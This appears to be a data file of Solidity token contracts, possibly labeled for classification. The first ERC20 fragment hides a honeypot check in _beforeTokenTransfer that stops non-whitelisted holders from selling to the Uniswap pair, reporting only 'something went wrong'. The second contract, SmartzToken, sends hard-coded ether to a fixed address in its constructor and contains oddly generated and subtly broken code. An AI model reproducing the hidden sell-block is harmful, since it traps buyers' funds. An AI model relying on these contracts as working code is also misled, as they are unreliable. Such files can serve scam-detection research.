*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0));
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to) internal virtual {
if(to == uniswapV2Pair) {
require(_enable[from], "something went wrong");
}
}
}
|
True
|
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] |
pragma solidity ^0.4.18;
interface IApprovalRecipient {
/**
* @notice Signals that token holder approved spending of tokens and some action should be taken.
*
* @param _sender token holder which approved spending of his tokens
* @param _value amount of tokens approved to be spent
* @param _extraData any extra data token holder provided to the call
*
* @dev warning: implementors should validate sender of this message (it should be the token) and make no further
* assumptions unless validated them via ERC20 methods.
*/
function receiveApproval(address _sender, uint256 _value, bytes _extraData) public;
}
interface IKYCProvider {
function isKYCPassed(address _address) public view returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ArgumentsChecker {
/// @dev check which prevents short address attack
modifier payloadSizeIs(uint size) {
require(msg.data.length == size + 4 /* function selector */);
_;
}
/// @dev check that address is valid
modifier validAddress(address addr) {
require(addr != address(0));
_;
}
}
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct MultiOwnedOperationPendingState {
// count of confirmations needed
uint yetNeeded;
// bitmap of confirmations where owner #ownerIndex's decision corresponds to 2**ownerIndex bit
uint ownersDone;
// position of this operation key in m_multiOwnedPendingIndex
uint index;
}
// EVENTS
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
event FinalConfirmation(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
require(isOwner(msg.sender));
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation)) {
_;
}
// Even if required number of confirmations has't been collected yet,
// we can't throw here - because changes to the state have to be preserved.
// But, confirmAndCheck itself will throw in case sender is not an owner.
}
modifier validNumOwners(uint _numOwners) {
require(_numOwners > 0 && _numOwners <= c_maxOwners);
_;
}
modifier multiOwnedValidRequirement(uint _required, uint _numOwners) {
require(_required > 0 && _required <= _numOwners);
_;
}
modifier ownerExists(address _address) {
require(isOwner(_address));
_;
}
modifier ownerDoesNotExist(address _address) {
require(!isOwner(_address));
_;
}
modifier multiOwnedOperationIsActive(bytes32 _operation) {
require(isOperationActive(_operation));
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them (msg.sender is not added to the owners!).
function multiowned(address[] _owners, uint _required)
public
validNumOwners(_owners.length)
multiOwnedValidRequirement(_required, _owners.length)
{
assert(c_maxOwners <= 255);
m_numOwners = _owners.length;
m_multiOwnedRequired = _required;
for (uint i = 0; i < _owners.length; ++i)
{
address owner = _owners[i];
// invalid and duplicate addresses are not allowed
require(0 != owner && !isOwner(owner) /* not isOwner yet! */);
uint currentOwnerIndex = checkOwnerIndex(i + 1 /* first slot is unused */);
m_owners[currentOwnerIndex] = owner;
m_ownerIndex[owner] = currentOwnerIndex;
}
assertOwnersAreConsistent();
}
/// @notice replaces an owner `_from` with another `_to`.
/// @param _from address of owner to replace
/// @param _to address of new owner
// All pending operations will be canceled!
function changeOwner(address _from, address _to)
external
ownerExists(_from)
ownerDoesNotExist(_to)
onlymanyowners(keccak256(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_from]);
m_owners[ownerIndex] = _to;
m_ownerIndex[_from] = 0;
m_ownerIndex[_to] = ownerIndex;
assertOwnersAreConsistent();
OwnerChanged(_from, _to);
}
/// @notice adds an owner
/// @param _owner address of new owner
// All pending operations will be canceled!
function addOwner(address _owner)
external
ownerDoesNotExist(_owner)
validNumOwners(m_numOwners + 1)
onlymanyowners(keccak256(msg.data))
{
assertOwnersAreConsistent();
clearPending();
m_numOwners++;
m_owners[m_numOwners] = _owner;
m_ownerIndex[_owner] = checkOwnerIndex(m_numOwners);
assertOwnersAreConsistent();
OwnerAdded(_owner);
}
/// @notice removes an owner
/// @param _owner address of owner to remove
// All pending operations will be canceled!
function removeOwner(address _owner)
external
ownerExists(_owner)
validNumOwners(m_numOwners - 1)
multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1)
onlymanyowners(keccak256(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]);
m_owners[ownerIndex] = 0;
m_ownerIndex[_owner] = 0;
//make sure m_numOwners is equal to the number of owners and always points to the last owner
reorganizeOwners();
assertOwnersAreConsistent();
OwnerRemoved(_owner);
}
/// @notice changes the required number of owner signatures
/// @param _newRequired new number of signatures required
// All pending operations will be canceled!
function changeRequirement(uint _newRequired)
external
multiOwnedValidRequirement(_newRequired, m_numOwners)
onlymanyowners(keccak256(msg.data))
{
m_multiOwnedRequired = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
/// @notice Gets an owner by 0-indexed position
/// @param ownerIndex 0-indexed owner position
function getOwner(uint ownerIndex) public constant returns (address) {
return m_owners[ownerIndex + 1];
}
/// @notice Gets owners
/// @return memory array of owners
function getOwners() public constant returns (address[]) {
address[] memory result = new address[](m_numOwners);
for (uint i = 0; i < m_numOwners; i++)
result[i] = getOwner(i);
return result;
}
/// @notice checks if provided address is an owner address
/// @param _addr address to check
/// @return true if it's an owner
function isOwner(address _addr) public constant returns (bool) {
return m_ownerIndex[_addr] > 0;
}
/// @notice Tests ownership of the current caller.
/// @return true if it's an owner
// It's advisable to call it by new owner to make sure that the same erroneous address is not copy-pasted to
// addOwner/changeOwner and to isOwner.
function amIOwner() external constant onlyowner returns (bool) {
return true;
}
/// @notice Revokes a prior confirmation of the given operation
/// @param _operation operation value, typically keccak256(msg.data)
function revoke(bytes32 _operation)
external
multiOwnedOperationIsActive(_operation)
onlyowner
{
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
var pending = m_multiOwnedPending[_operation];
require(pending.ownersDone & ownerIndexBit > 0);
assertOperationIsConsistent(_operation);
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
assertOperationIsConsistent(_operation);
Revoke(msg.sender, _operation);
}
/// @notice Checks if owner confirmed given operation
/// @param _operation operation value, typically keccak256(msg.data)
/// @param _owner an owner address
function hasConfirmed(bytes32 _operation, address _owner)
external
constant
multiOwnedOperationIsActive(_operation)
ownerExists(_owner)
returns (bool)
{
return !(m_multiOwnedPending[_operation].ownersDone & makeOwnerBitmapBit(_owner) == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation)
private
onlyowner
returns (bool)
{
if (512 == m_multiOwnedPendingIndex.length)
// In case m_multiOwnedPendingIndex grows too much we have to shrink it: otherwise at some point
// we won't be able to do it because of block gas limit.
// Yes, pending confirmations will be lost. Dont see any security or stability implications.
// TODO use more graceful approach like compact or removal of clearPending completely
clearPending();
var pending = m_multiOwnedPending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (! isOperationActive(_operation)) {
// reset count of confirmations needed.
pending.yetNeeded = m_multiOwnedRequired;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_multiOwnedPendingIndex.length++;
m_multiOwnedPendingIndex[pending.index] = _operation;
assertOperationIsConsistent(_operation);
}
// determine the bit to set for this owner.
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
// ok - check if count is enough to go ahead.
assert(pending.yetNeeded > 0);
if (pending.yetNeeded == 1) {
// enough confirmations: reset and run interior.
delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index];
delete m_multiOwnedPending[_operation];
FinalConfirmation(msg.sender, _operation);
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
assertOperationIsConsistent(_operation);
Confirmation(msg.sender, _operation);
}
}
}
// Reclaims free slots between valid owners in m_owners.
// TODO given that its called after each removal, it could be simplified.
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
// iterating to the first free slot from the beginning
while (free < m_numOwners && m_owners[free] != 0) free++;
// iterating to the first occupied slot from the end
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
// swap, if possible, so free slot is located at the end after the swap
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
// owners between swapped slots should't be renumbered - that saves a lot of gas
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() private onlyowner {
uint length = m_multiOwnedPendingIndex.length;
// TODO block gas limit
for (uint i = 0; i < length; ++i) {
if (m_multiOwnedPendingIndex[i] != 0)
delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]];
}
delete m_multiOwnedPendingIndex;
}
function checkOwnerIndex(uint ownerIndex) private pure returns (uint) {
assert(0 != ownerIndex && ownerIndex <= c_maxOwners);
return ownerIndex;
}
function makeOwnerBitmapBit(address owner) private constant returns (uint) {
uint ownerIndex = checkOwnerIndex(m_ownerIndex[owner]);
return 2 ** ownerIndex;
}
function isOperationActive(bytes32 _operation) private constant returns (bool) {
return 0 != m_multiOwnedPending[_operation].yetNeeded;
}
function assertOwnersAreConsistent() private constant {
assert(m_numOwners > 0);
assert(m_numOwners <= c_maxOwners);
assert(m_owners[0] == 0);
assert(0 != m_multiOwnedRequired && m_multiOwnedRequired <= m_numOwners);
}
function assertOperationIsConsistent(bytes32 _operation) private constant {
var pending = m_multiOwnedPending[_operation];
assert(0 != pending.yetNeeded);
assert(m_multiOwnedPendingIndex[pending.index] == _operation);
assert(pending.yetNeeded <= m_multiOwnedRequired);
}
// FIELDS
uint constant c_maxOwners = 250;
// the number of owners that must confirm the same operation before it is run.
uint public m_multiOwnedRequired;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners (addresses),
// slot 0 is unused so there are no owner which index is 0.
// TODO could we save space at the end of the array for the common case of <10 owners? and should we?
address[256] internal m_owners;
// index on the list of owners to allow reverse lookup: owner address => index in m_owners
mapping(address => uint) internal m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => MultiOwnedOperationPendingState) internal m_multiOwnedPending;
bytes32[] internal m_multiOwnedPendingIndex;
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed from, uint256 amount);
/**
* Function to burn msg.sender's tokens.
*
* @param _amount amount of tokens to burn
*
* @return boolean that indicates if the operation was successful
*/
function burn(uint256 _amount)
public
returns (bool)
{
address from = msg.sender;
require(_amount > 0);
require(_amount <= balances[from]);
totalSupply = totalSupply.sub(_amount);
balances[from] = balances[from].sub(_amount);
Burn(from, _amount);
Transfer(from, address(0), _amount);
return true;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TokenWithApproveAndCallMethod is StandardToken {
/**
* @notice Approves spending tokens and immediately triggers token recipient logic.
*
* @param _spender contract which supports IApprovalRecipient and allowed to receive tokens
* @param _value amount of tokens approved to be spent
* @param _extraData any extra data which to be provided to the _spender
*
* By invoking this utility function token holder could do two things in one transaction: approve spending his
* tokens and execute some external contract which spends them on token holder's behalf.
* It can't be known if _spender's invocation succeed or not.
* This function will throw if approval failed.
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public {
require(approve(_spender, _value));
IApprovalRecipient(_spender).receiveApproval(msg.sender, _value, _extraData);
}
}
contract SmartzToken is ArgumentsChecker, multiowned, BurnableToken, StandardToken, TokenWithApproveAndCallMethod {
/// @title Unit of frozen tokens - tokens which can't be spent until certain conditions is met.
struct FrozenCell {
/// @notice amount of frozen tokens
uint amount;
/// @notice until this unix time the cell is considered frozen
uint128 thawTS;
/// @notice is KYC required for a token holder to spend this cell?
uint128 isKYCRequired;
}
// MODIFIERS
modifier onlySale(address account) {
require(isSale(account));
_;
}
modifier validUnixTS(uint ts) {
require(ts >= 1522046326 && ts <= 1800000000);
_;
}
modifier checkTransferInvariant(address from, address to) {
uint initial = balanceOf(from).add(balanceOf(to));
_;
assert(balanceOf(from).add(balanceOf(to)) == initial);
}
modifier privilegedAllowed {
require(m_allowPrivileged);
_;
}
// PUBLIC FUNCTIONS
/**
* @notice Constructs token.
*
* Initial owners have power over the token contract only during bootstrap phase (early investments and token
* sales). To be precise, the owners can set KYC provider and sales (which can freeze transfered tokens) during
* bootstrap phase. After final token sale any control over the token removed by issuing disablePrivileged call.
*/
function SmartzToken()
public
payable
multiowned(getInitialOwners(), 2)
{
if (0 != 100000) {
totalSupply = 100000;
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
totalSupply = totalSupply.add(0);
address(0xfF20387Dd4dbfA3e72AbC7Ee9B03393A941EE36E).transfer(60000000000000000 wei);
address(0xfF20387Dd4dbfA3e72AbC7Ee9B03393A941EE36E).transfer(240000000000000000 wei);
}
function getInitialOwners() private pure returns (address[]) {
address[] memory result = new address[](2);
result[0] = address(0x730417D2f4565b8FEcB8d9A8e6da80F9b801F000);
result[1] = address(0xfA5bbBea18c0214CbBd7794d5a088789c902f0A7);
return result;
}
/**
* @notice Version of balanceOf() which includes all frozen tokens.
*
* @param _owner the address to query the balance of
*
* @return an uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
uint256 balance = balances[_owner];
for (uint cellIndex = 0; cellIndex < frozenBalances[_owner].length; ++cellIndex) {
balance = balance.add(frozenBalances[_owner][cellIndex].amount);
}
return balance;
}
/**
* @notice Version of balanceOf() which includes only currently spendable tokens.
*
* @param _owner the address to query the balance of
*
* @return an uint256 representing the amount spendable by the passed address
*/
function availableBalanceOf(address _owner) public view returns (uint256) {
uint256 balance = balances[_owner];
for (uint cellIndex = 0; cellIndex < frozenBalances[_owner].length; ++cellIndex) {
if (isSpendableFrozenCell(_owner, cellIndex))
balance = balance.add(frozenBalances[_owner][cellIndex].amount);
}
return balance;
}
/**
* @notice Standard transfer() overridden to have a chance to thaw sender's tokens.
*
* @param _to the address to transfer to
* @param _value the amount to be transferred
*
* @return true iff operation was successfully completed
*/
function transfer(address _to, uint256 _value)
public
payloadSizeIs(2 * 32)
returns (bool)
{
thawSomeTokens(msg.sender, _value);
return super.transfer(_to, _value);
}
/**
* @notice Standard transferFrom overridden to have a chance to thaw sender's tokens.
*
* @param _from address the address which you want to send tokens from
* @param _to address the address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*
* @return true iff operation was successfully completed
*/
function transferFrom(address _from, address _to, uint256 _value)
public
payloadSizeIs(3 * 32)
returns (bool)
{
thawSomeTokens(_from, _value);
return super.transferFrom(_from, _to, _value);
}
/**
* Function to burn msg.sender's tokens. Overridden to have a chance to thaw sender's tokens.
*
* @param _amount amount of tokens to burn
*
* @return boolean that indicates if the operation was successful
*/
function burn(uint256 _amount)
public
payloadSizeIs(1 * 32)
returns (bool)
{
thawSomeTokens(msg.sender, _amount);
return super.burn(_amount);
}
// INFORMATIONAL FUNCTIONS (VIEWS)
/**
* @notice Number of frozen cells of an account.
*
* @param owner account address
*
* @return number of frozen cells
*/
function frozenCellCount(address owner) public view returns (uint) {
return frozenBalances[owner].length;
}
/**
* @notice Retrieves information about account frozen tokens.
*
* @param owner account address
* @param index index of so-called frozen cell from 0 (inclusive) up to frozenCellCount(owner) exclusive
*
* @return amount amount of tokens frozen in this cell
* @return thawTS unix timestamp at which tokens'll become available
* @return isKYCRequired it's required to pass KYC to spend tokens iff isKYCRequired is true
*/
function frozenCell(address owner, uint index) public view returns (uint amount, uint thawTS, bool isKYCRequired) {
require(index < frozenCellCount(owner));
amount = frozenBalances[owner][index].amount;
thawTS = uint(frozenBalances[owner][index].thawTS);
isKYCRequired = decodeKYCFlag(frozenBalances[owner][index].isKYCRequired);
}
// ADMINISTRATIVE FUNCTIONS
/**
* @notice Sets current KYC provider of the token.
*
* @param KYCProvider address of the IKYCProvider-compatible contract
*
* Function is used only during token sale phase, before disablePrivileged() is called.
*/
function setKYCProvider(address KYCProvider)
external
validAddress(KYCProvider)
privilegedAllowed
onlymanyowners(keccak256(msg.data))
{
m_KYCProvider = IKYCProvider(KYCProvider);
}
/**
* @notice Sets sale status of an account.
*
* @param account account address
* @param isSale is this account has access to frozen* functions
*
* Function is used only during token sale phase, before disablePrivileged() is called.
*/
function setSale(address account, bool isSale)
external
validAddress(account)
privilegedAllowed
onlymanyowners(keccak256(msg.data))
{
m_sales[account] = isSale;
}
/**
* @notice Transfers tokens to a recipient and freezes it.
*
* @param _to account to which tokens are sent
* @param _value amount of tokens to send
* @param thawTS unix timestamp at which tokens'll become available
* @param isKYCRequired it's required to pass KYC to spend tokens iff isKYCRequired is true
*
* Function is used only during token sale phase and available only to sale accounts.
*/
function frozenTransfer(address _to, uint256 _value, uint thawTS, bool isKYCRequired)
external
validAddress(_to)
validUnixTS(thawTS)
payloadSizeIs(4 * 32)
privilegedAllowed
onlySale(msg.sender)
checkTransferInvariant(msg.sender, _to)
returns (bool)
{
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
addFrozen(_to, _value, thawTS, isKYCRequired);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @notice Transfers frozen tokens back.
*
* @param _from account to send tokens from
* @param _to account to which tokens are sent
* @param _value amount of tokens to send
* @param thawTS unix timestamp at which tokens'll become available
* @param isKYCRequired it's required to pass KYC to spend tokens iff isKYCRequired is true
*
* Function is used only during token sale phase to make a refunds and available only to sale accounts.
* _from account has to explicitly approve spending with the approve() call.
* thawTS and isKYCRequired parameters are required to withdraw exact "same" tokens (to not affect availability of
* other tokens of the account).
*/
function frozenTransferFrom(address _from, address _to, uint256 _value, uint thawTS, bool isKYCRequired)
external
validAddress(_to)
validUnixTS(thawTS)
payloadSizeIs(5 * 32)
privilegedAllowed
//onlySale(msg.sender) too many local variables - compiler fails
//onlySale(_to)
checkTransferInvariant(_from, _to)
returns (bool)
{
require(isSale(msg.sender) && isSale(_to));
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
subFrozen(_from, _value, thawTS, isKYCRequired);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
/// @notice Disables further use of any privileged functions like freezing tokens.
function disablePrivileged()
external
privilegedAllowed
onlymanyowners(keccak256(msg.data))
{
m_allowPrivileged = false;
}
// INTERNAL FUNCTIONS
function isSale(address account) private view returns (bool) {
return m_sales[account];
}
/**
* @dev Tries to find existent FrozenCell that matches (thawTS, isKYCRequired).
*
* @return index in frozenBalances[_owner] which equals to frozenBalances[_owner].length in case cell is not found
*
* Because frozen* functions are only for token sales and token sale number is limited, expecting cellIndex
* to be ~ 1-5 and the following loop to be O(1).
*/
function findFrozenCell(address owner, uint128 thawTSEncoded, uint128 isKYCRequiredEncoded)
private
view
returns (uint cellIndex)
{
for (cellIndex = 0; cellIndex < frozenBalances[owner].length; ++cellIndex) {
FrozenCell storage checkedCell = frozenBalances[owner][cellIndex];
if (checkedCell.thawTS == thawTSEncoded && checkedCell.isKYCRequired == isKYCRequiredEncoded)
break;
}
assert(cellIndex <= frozenBalances[owner].length);
}
/// @dev Says if the given cell could be spent now
function isSpendableFrozenCell(address owner, uint cellIndex)
private
view
returns (bool)
{
FrozenCell storage cell = frozenBalances[owner][cellIndex];
if (uint(cell.thawTS) > getTime())
return false;
if (0 == cell.amount) // already spent
return false;
if (decodeKYCFlag(cell.isKYCRequired) && !m_KYCProvider.isKYCPassed(owner))
return false;
return true;
}
/// @dev Internal function to increment or create frozen cell.
function addFrozen(address _to, uint256 _value, uint thawTS, bool isKYCRequired)
private
validAddress(_to)
validUnixTS(thawTS)
{
uint128 thawTSEncoded = uint128(thawTS);
uint128 isKYCRequiredEncoded = encodeKYCFlag(isKYCRequired);
uint cellIndex = findFrozenCell(_to, thawTSEncoded, isKYCRequiredEncoded);
// In case cell is not found - creating new.
if (cellIndex == frozenBalances[_to].length) {
frozenBalances[_to].length++;
targetCell = frozenBalances[_to][cellIndex];
assert(0 == targetCell.amount);
targetCell.thawTS = thawTSEncoded;
targetCell.isKYCRequired = isKYCRequiredEncoded;
}
FrozenCell storage targetCell = frozenBalances[_to][cellIndex];
assert(targetCell.thawTS == thawTSEncoded && targetCell.isKYCRequired == isKYCRequiredEncoded);
targetCell.amount = targetCell.amount.add(_value);
}
/// @dev Internal function to decrement frozen cell.
function subFrozen(address _from, uint256 _value, uint thawTS, bool isKYCRequired)
private
validUnixTS(thawTS)
{
uint cellIndex = findFrozenCell(_from, uint128(thawTS), encodeKYCFlag(isKYCRequired));
require(cellIndex != frozenBalances[_from].length); // has to be found
FrozenCell storage cell = frozenBalances[_from][cellIndex];
require(cell.amount >= _value);
cell.amount = cell.amount.sub(_value);
}
/// @dev Thaws tokens of owner until enough tokens could be spent or no more such tokens found.
function thawSomeTokens(address owner, uint requiredAmount)
private
{
if (balances[owner] >= requiredAmount)
return; // fast path
